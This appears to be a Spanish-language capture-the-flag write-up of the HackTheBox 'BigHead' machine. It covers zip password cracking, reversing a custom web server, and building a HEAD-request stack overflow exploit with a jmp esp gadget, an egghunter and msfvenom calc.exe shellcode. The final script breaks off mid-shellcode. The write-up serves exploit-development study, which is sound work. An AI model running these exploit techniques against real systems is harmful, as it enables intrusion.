xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

BigHead



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos solo un puerto abierto, este es el 80 que corre un servicio http

❯ nmap 10.10.10.112
Nmap scan report for 10.10.10.112  
PORT   STATE SERVICE
80/tcp open  http

Aunque es innecesario por ahora, solo por comodidad agregaremos el dominio bighead.htb al archivo /etc/hosts para que asi sepa a donde debe resolver

❯ echo "10.10.10.112 bighead.htb" | sudo tee -a /etc/hosts  

Si miramos el servicio http desde el navegador nos encontramos una página web un poco simple que de primeras realmente no nos lleva a nada demasiado interesante

Mirando el codigo fuente encontramos que en el codigo del formulario este intenta enviar los datos mediante el metodo POST hacia el subdominio mailer

Antes de ver su contenido podemos intentar fuzzear por mas subdominios, usando wfuzz y un diccionario de seclists encontramos 2 mas que son dev y code

❯ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.bighead.htb" -u http://bighead.htb -t 100 --hh 11175  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://bighead.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000019:   200        1 L      3 W        13456 Ch    "dev"
000000224:   302        7 L      10 W       161 Ch      "mailer"
000000573:   302        0 L      0 W        0 Ch        "code"

Después de agregar los 3 subdominios al /etc/hosts y ver su contenido principal podemos decir que no nos lleva a ningun lado, dev solo nos muestra una imagen

Ahora usamos wfuzz para intentar descubrir directorios bajo el subdominio dev, algunos que inician con blog devuelven 302 pero coffee nos devuelve un 418

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://dev.bighead.htb/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://dev.bighead.htb/FUZZ
Total requests: 30000

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000013:   302        7 L      10 W       161 Ch      "wp-content"
000000050:   302        7 L      10 W       161 Ch      "blog"
000000335:   302        7 L      10 W       161 Ch      "blogs"
000002714:   302        7 L      10 W       161 Ch      "blog2"
000003634:   302        7 L      10 W       161 Ch      "blog1"
000004250:   302        7 L      10 W       161 Ch      "wp-contents"
000007409:   302        7 L      10 W       161 Ch      "blog3"
000008049:   302        7 L      10 W       161 Ch      "blogapi"
000008945:   418        1 L      3 W        46 Ch       "coffee"
000010016:   302        7 L      10 W       161 Ch      "blogging"

Si accedemos al directorio /coffee descubierto simplemente se nos muestra un gif de google mostrando el codigo de estado 418 tambien llamado I'm a teapot

Algo interesante son las cabeceras de respuesta, si hacemos un simple curl con el parametro -I para verlas nos dice que esta corriendo BigheadWebSvr 1.0

❯ curl http://dev.bighead.htb/coffee -I  
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2023 20:12:40 GMT
Content-Type: text/html
Content-Length: 13456
Connection: keep-alive
Server: BigheadWebSvr 1.0

Si buscamos esa tecnologia por internet nos lleva a un repositorio de github con un zip

Despues de clonar el repo nos queda un zip con lo que parece ser un backup

❯ ls -l 
.rw-r--r-- user user 8.7 KB Tue Oct 24 20:12:59 2023  BHWS_Backup.zip  
.rw-r--r-- user user  34 KB Tue Oct 24 20:12:59 2023  LICENSE
.rw-r--r-- user user  39 B  Tue Oct 24 20:12:59 2023  README.md

Sin embargo al intentar descomprimirlo nos pide una contraseña que no conocemos

❯ 7z x BHWS_Backup.zip

Scanning the drive for archives:
1 file, 8894 bytes (9 KiB)

Extracting archive: BHWS_Backup.zip
--
Path = BHWS_Backup.zip
Type = zip
Physical Size = 8894

Enter password (will not be echoed):  

Podemos hacer uso de la herramienta zip2john para crear un hash de la contraseña del zip para posteriormente crackearla con john a traves de solo fuerza bruta

❯ zip2john BHWS_Backup.zip > hash

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 10 password hashes with 10 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 XOP 4x2])  
Loaded hashes with cost 1 (HMAC size) varying from 73 to 1356
Press 'q' or Ctrl-C to abort, almost any other key for status
thepiedpiper89   (BHWS_Backup.zip)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Ahora descomprimimos el zip pasandole la contraseña, el comprimido nos deja varios archivos, un .txt y varios archivos de configuracion dentro de una carpeta

❯ 7z x BHWS_Backup.zip

Scanning the drive for archives:
1 file, 8894 bytes (9 KiB)

Extracting archive: BHWS_Backup.zip
--
Path = BHWS_Backup.zip
Type = zip
Physical Size = 8894

Enter password (will not be echoed): thepiedpiper89  
Everything is Ok

Folders: 2
Files: 10
Size:       22340
Compressed: 8894

❯ tree
.
├── BigheadWebSvr_exe_NOTICE.txt  
└── conf
    ├── fastcgi.conf
    ├── fastcgi_params
    ├── koi-utf
    ├── koi-win
    ├── mime.types
    ├── nginx.conf
    ├── scgi_params
    ├── uwsgi_params
    └── win-utf

2 directories, 10 files

Si leemos el .txt nos dice que el software vulnerable ha sido removido del archivo

❯ cat BigheadWebSvr_exe_NOTICE.txt
I removed this vulnerable crapware from the archive  

love
Gilfoyle... :D

Esto podria ser un problema pero es facil de resolver ya que aunque se elimino el archivo del zip podemos volver a un commit anterior donde este aun existia

❯ git log --oneline
5cc2d98 (HEAD -> master, origin/master, origin/HEAD) Add files via upload  
c25f61e Fixed a bug
b1b4d6e Nelson's Web Server Backup
54182c6 Initial commit

❯ git checkout b1b4d6e
Nota: cambiando a 'b1b4d6e'.
HEAD está ahora en b1b4d6e Nelson's Web Server Backup

Aunque la contraseña del zip es diferente en este commit podemos repetir el proceso de antes para conseguirla y asi descomprimir el zip que esta cifrado

❯ zip2john BHWS_Backup.zip > hash

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 11 password hashes with 11 different salts (ZIP, WinZip [PBKDF2-SHA1 128/128 XOP 4x2])  
Loaded hashes with cost 1 (HMAC size) varying from 257 to 23430
Press 'q' or Ctrl-C to abort, almost any other key for status
bighead          (BHWS_Backup.zip)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

❯ 7z x BHWS_Backup.zip
Scanning the drive for archives:
1 file, 42198 bytes (42 KiB)

Extracting archive: BHWS_Backup.zip
--
Path = BHWS_Backup.zip
Type = zip
Physical Size = 42198

Enter password (will not be echoed): bighead  
Everything is Ok

Folders: 2
Files: 11
Size:       102236
Compressed: 42198

Si ahora miramos la carpeta que nos deja vemos 2 archivos nuevos, un exe y un dll

❯ tree
.
├── bHeadSvr.dll
├── BigheadWebSvr.exe
└── conf
    ├── fastcgi.conf
    ├── fastcgi_params  
    ├── koi-utf
    ├── koi-win
    ├── mime.types
    ├── nginx.conf
    ├── scgi_params
    ├── uwsgi_params
    └── win-utf


Shell - nelson


Iniciemos analizando el binario, para ello podemos usar un desensamblador como ida, la función es bastante simple, la instrucción cmp compara la longitud de argv con 2, donde el primero es el propio binario comprueba si se recibe un argumento por consola, en caso de que sea igual o menor va al bloque de la flecha verde

Realiza nuevamente la comparación, si se recibe un puerto como argumento se utiliza atoi para convertir la cadena a entero y se guarda en una variable, si no se recibe ningun argumento se utiliza por defecto el puerto 8008 como valor por defecto

inicia mostrando algunos mensajes por consola utilizando puts y llamando a WSAStartup que inicia el uso del archivo dll de Winsock, luego llama a getaddrinfo

Si lo anterior sale bien se llama a la función socket que inicia un nuevo socket y despues a la función bind para asociar el socket a la dirección local

Luego llama a la función listen para poner en escucha el socket en el puerto especificado o por defecto, muestra un mensaje con puts para decir que esta en escucha y acepta cualquier posible conexión utilizando la función accept

Cuando recibe la conexión formatea los datos y con la función printf muestra por consola la información del cliente como la ip y puerto de conexión, luego llama a CreateThread para crear un nuevo hilo que ejecutará la función ConnectionHandler

La función ConnectionHandler inicia reservando varios espacios en memoria con malloc y memset, luego si l código de estado, es -1 va al bloque de la flecha roja

En el siguiente bloque se compara el parametro recibido con 0 si es asi lanza un error, de lo contrario llama a la función recv que recibe un buffer del socket

Luego compara el tamaño del buffer con 219, si es menor o igual compara los primeros 5 bytes del buffer con HEAD , esto indica el método de una petición

Luego reserva un espacio en memoria e inicia con algo interesante, mueve el buffer a eax y añade una constante 6 para saltar los primeros 6 bytes que en nuestro caso serán los de la petición HEAD /, luego mueve el byte a eax que en nuestro caso será un 0x41 ya que enviaremos A's y compara que no sea 0 que indicaria el final

Si no es 0 añade un byte a la constante 6 por lo que ahora vale 7, lo añade al valor del buffer por lo que se puede deducir que salta al siguiente byte y nuevamente verifica que no sea 0, en el siguiente bloque mueve el buffer a eax y añade nuevamente los 6 bytes para saltar al inicio del payload, mueve un word a eax que serian 2 A's o 0x4141 en memoria, este será el primer argumento para strtoul, el segundo es 0 y el tercero es 16 indicando la base que indicaria hexadecimal

Para entenderlo mejor podemos crear un programa en c que haga lo mismo, si indicamos una A como string donde su valor inicial es 0x41 lo convierte a 10 o su valor en hexadecimal 0xA que es el mismo valor de la string inicial como hex

#include <stdio.h>
#include <stdlib.h>

int main() {
    char *string = "A";
    char *null;

    int result = strtoul(string, &null, 16);

    printf("%X -> %d -> %X\n", *string, result, result);  

    return 0;
}

❯ gcc code.c -o code  

❯ ./code
41 -> 10 -> A

Indicamos AA como en el programa, ahora el valor inicial es 0x4141 y lo convierte a 170 o 0xAA en hexadecimal por lo que el valor original que era AA como string o 0x4141 como word en hexadecimal paso a ser solo un byte con valor 0xAA

char *string = "AA";  

❯ gcc code.c -o code  

❯ ./code
4141 -> 170 -> AA

Luego de repetir ese bucle hasta que todo el buffer tome ese formato salta al bloque verde que le pasa el nuevo buffer a Function4 y envia una respuesta con send

La función Function4 es bastante simple, toma el buffer y lo copia a un nuevo destino usando strcpy, sin embargo aqui encontramos la vulnerabilidad ya que lo guarda en ebp - 32 y si pasamos ese buffer empezaremos a sobrescribir otros datos

Para analizar la vulnerabilidad encontrada ejecutaremos la aplicación desde WinDbg

Ahora que conocemos la vulnerabilidad enviaremos nuestro payload en una petición HEAD, sin embargo debido a la comparación que vimos antes sabemos que no podemos exceder un tamaño de 219 por lo que nos quedan unos 200 libres

#!/usr/bin/python3
from pwn import remote

payload = b"A" * 200

content = f"HEAD /{payload} HTTP/1.1".encode()  

shell = remote("192.168.100.5", 8008)
shell.sendline(content)

Luego de enviar el exploit si miramos desde el debugger el programa corrompe, pero en lugar de ver un 0x41414141 vemos 0xaaaaaaaa, esto es debido a lo explicando anteriormente con ida en el bucle antes reverseando donde se llama a strtoul

0:000> g
(35dc.24a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00f2fb14 ebx=00000194 ecx=00d21728 edx=000000aa esi=0040194e edi=0040194e  
eip=aaaaaaaa esp=00f2fb3c ebp=aaaaaaaa iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
aaaaaaaa ??              ???

La solución es simple, enviar su valor en hexadecimal por ejemplo si queremos enviar A enviaremos 41, esto podemos automatizarlo en python usando .hex()

#!/usr/bin/python3
from pwn import remote

payload = b"A" * 100

content = f"HEAD /{payload.hex()} HTTP/1.1".encode()  

shell = remote("192.168.100.5", 8008)
shell.sendline(content)

Nuevamente enviamos el exploit esta vez con la mitad de tamaño ya que ahora por cada byte se envian 2, ahora el valor de retorno si que toma 0x41414141

0:000> g
(25e8.3c6c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0123fb14 ebx=00000174 ecx=00881728 edx=01000000 esi=0040194e edi=0040194e  
eip=41414141 esp=0123fb3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
41414141 ??              ???

Tomamos el control de la dirección de retorno sin embargo aun nos enfrentamos a otro problema y es el tamaño del payload ya que si excede de 219 bytes nunca entrará a la función vulnerable y el uso de strtoul solo lo empeora más ya que reduce ese tamaño por la mitad, ahora solo tenemos un aproximado de 100 bytes


Buffer Overflow - egghunter


El buffer incia el ebp - 32 por lo que si sumamos esos 32 bytes mas 4 de ebp tenemos el offset a la dirección de retorno en el stack, podemos comprobar esto enviando 36 A's seguidas de 4 B's como la dirección de retorno y luego C's

#!/usr/bin/python3
from pwn import remote

offset = 36
junk = b"A" * offset

ret = b"B" * 4
stack = b"C" * 60

payload = junk + ret + stack

content = f"HEAD /{payload.hex()} HTTP/1.1".encode()  

shell = remote("192.168.100.5", 8008)
shell.sendline(content)

Esta vez sobreescribimos el retorno pero tenemos el control del puntero que ahora tiene como valor 0x42424242 que es la representacion en hexadecimal de las B's, además de las otras 60 C's en el stack, que por la limitación es el aproximado de espacio que tenemos disponible para nuestro shellcode al ejecutar un jmp esp

0:000> g
(30ac.123c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=010cfb14 ebx=0000017c ecx=00ec1728 edx=01000000 esi=0040194e edi=0040194e  
eip=42424242 esp=010cfb3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
42424242 ??              ???

0:000> db esp
010cfb3c  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
010cfb4c  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
010cfb5c  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
010cfb6c  43 43 43 43 43 43 43 43-43 43 43 43 00 00 00 00  CCCCCCCCCCCC....
010cfb7c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
010cfb8c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
010cfb9c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
010cfbac  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Podriamos usar un egghunter pero necesitamos un lugar donde depositar el shellcode sin restricciones de espacio, siguiendo la flecha donde excedemos el tamaño de 219 podemos encontrar la comparación con el método POST /, aunque aqui no hay vulnerabilidades sabemos que el buffer se encontrará en la memoria

Estableceremos w00tw00t como huevo que será un valor que luego podemos buscar en memoria y asi conocer la dirección del shellcode, además enviamos 100 D's simulando un shellcode, en la segunda parte explotamos la vulnerabilidad

#!/usr/bin/python3
from pwn import remote

egg = b"w00t" * 2
shellcode = b"D" * 100

payload = egg + shellcode

content = b"POST / HTTP/1.1\r\n" + payload

shell = remote("192.168.100.5", 8008)
shell.sendline(content)
shell.close()

offset = 36
junk = b"A" * offset

ret = b"B" * 4
stack = b"C" * 60

payload = junk + ret + stack

content = f"HEAD /{payload.hex()} HTTP/1.1".encode()  

shell = remote("192.168.100.5", 8008)
shell.sendline(content)

Luego de enviar el exploit podemos buscar el huevo en toda la memoria de usuario, al encontrar la dirección sabemos que 8 bytes después se encontraran las D's, aunque esta dirección es dinamica y se encuentra en el heap no afectará el exploit

0:000> g
(1044.a68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0102fb14 ebx=00000184 ecx=00e21728 edx=01000000 esi=0040194e edi=0040194e
eip=42424242 esp=0102fb3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
42424242 ??              ???

0:000> s -a 0 L?80000000 w00tw00t
00e22861  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD

0:000> db 00e22861 L50
00e22861  77 30 30 74 77 30 30 74-44 44 44 44 44 44 44 44  w00tw00tDDDDDDDD
00e22871  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00e22881  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00e22891  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00e228a1  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

0:000> !address 0x00e22861

Usage:                  Heap
Base Address:           00e20000
End Address:            00e25000
Region Size:            00005000 (  20.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        00e20000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              heap owning the address: !heap -s -h 0xe20000
More info:              heap segment
More info:              heap entry containing the address: !heap -x 0xe22861  

Content source: 1 (target), length: 279f

Lo siguiente será detectar los badchars que no puede contener nuestro shellcode, para ello crearemos un array de los 256 posibles caracteres utilizando mona

0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

En lugar de D's enviaremos los badchars ya que podemos conocer su ubicación

shellcode  = b""
shellcode += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
shellcode += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
shellcode += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
shellcode += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
shellcode += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
shellcode += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
shellcode += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
shellcode += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Ahora al encontrar la dirección de nuestro huevo sabemos que 8 bytes después deberian de estar los badchars, al comparar los bytes originales con la memoria podemos ver que ninguno de los 256 bytes causaron conflicto con la petición

0:000> g
(bc8.3d54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0104fb14 ebx=00000184 ecx=00871728 edx=01000000 esi=0040194e edi=0040194e
eip=42424242 esp=0104fb3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
42424242 ??              ???

0:000> s -a 0 L?80000000 w00tw00t
00872861  77 30 30 74 77 30 30 74-00 01 02 03 04 05 06 07  w00tw00t........

0:000> !py mona compare -f C:\mona\bytearray.bin -a 0x00872869
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a 00872869  
[+] Reading file C:\mona\bytearray.bin...
    Read 256 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 256 bytes successfully from C:\mona\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x00872869 | [+] Comparing with memory at location : 0x00872869 (Heap)
0x00872869 | !!! Hooray, normal shellcode unmodified !!!

Revisemos los módulos cargados en memoria en el momento de ejecución que no pertenezcan al sistema, encontramos el .exe y 2 .dll pero uno lo descargamos por nuestra cuenta, el .exe no podemos usarlo porque la dirección base contiene un null byte que debemos evitar en el método HEAD, asi que solo nos queda bheadsvr.dll

0:000> !py mona modules -cm os=false
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py modules -cm os=false

---------- Mona command started on 2024-07-23 00:21:23 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Module criteria : ['os=false']
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------  
 Module info :
----------------------------------------------------------------------------------------------------------------------------------------------  
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename, DLLCharacteristics
----------------------------------------------------------------------------------------------------------------------------------------------  
 0x00400000 | 0x00413000 | 0x00013000 | False  | False   | False | False |  False   | False  | -1.0- [BigheadWebSvr.exe] 0x0
 0x62500000 | 0x62510000 | 0x00010000 | False  | False   | False | False |  False   | False  | -1.0- [bHeadSvr.dll] 0x0
 0x64540000 | 0x64570000 | 0x00030000 | False  | False   | False | False |  False   | False  | -1.0- [libmingwex-0.dll] 0x0
----------------------------------------------------------------------------------------------------------------------------------------------  

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

Ahora buscamos el gadget jmp esp al ejecutarse saltará al stack ejecutando todo el shellcode que se encuentre ahi, que en este caso será un simple egghunter

0:000> !py mona jmp -r esp -m bheadsvr.dll
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r esp -m bheadsvr.dll

---------- Mona command started on 2024-07-23 00:21:56 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules bheadsvr.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module bHeadSvr.dll
	- Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
    - Number of pointers of type 'jmp esp' : 9 
[+] Results : 
0x625012f0 |   0x625012f0 : jmp esp |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x625012fd |   0x625012fd : jmp esp |  {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x6250130a |   0x6250130a : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x62501317 |   0x62501317 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x62501324 |   0x62501324 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x62501331 |   0x62501331 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x6250133e |   0x6250133e : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x6250134b |   0x6250134b : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
0x6250134d |   0x6250134d : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0  
    Found a total of 9 pointers

En el stack en lugar del shellcode enviaremos un egghunter que ya analizamos antes en otro post de exploit, este podemos generarlo con mona y es un código muy pequeño que busca un huevo en toda la memoria en este caso w00tw00t para ejecutar todo lo que está despues que será nuestro verdadero shellcode

0:000> !py mona egghunter
Hold on...
[+] Command used:
!py C:\Users\gatog\Documents\WinDbgX\x86\mona.py egghunter
[+] Egg set to w00t
[+] Generating traditional 32bit egghunter code
[+] Preparing output file 'egghunter.txt'
    - (Re)setting logfile C:\mona\egghunter.txt
[+] Egghunter  (32 bytes): 
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"  
"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"  

Para evitar tener que abrir un listener en una shell simplemente con msfvenom crearemos un shellcode que ejecute calc.exe para comprobar que funcione

❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of python file: 1095 bytes
shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"
shellcode += b"\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b"
shellcode += b"\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61"
shellcode += b"\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2"
shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
shellcode += b"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
shellcode += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
shellcode += b"\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c"
shellcode += b"\x63\x2e\x65\x78\x65\x00"

Resumiendo, la primera parte del exploit envia un huevo seguido del shellcode para guardarlo en memoria, la segunda explota la vulnerabilidad y ejecuta un egghunter que buscara el huevo en toda la memoria para asi ejecutar el shellcode

#!/usr/bin/python3
from pwn import remote, p32

egg = b"w00t" * 2

shellcode =  b""
shellcode += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0"  
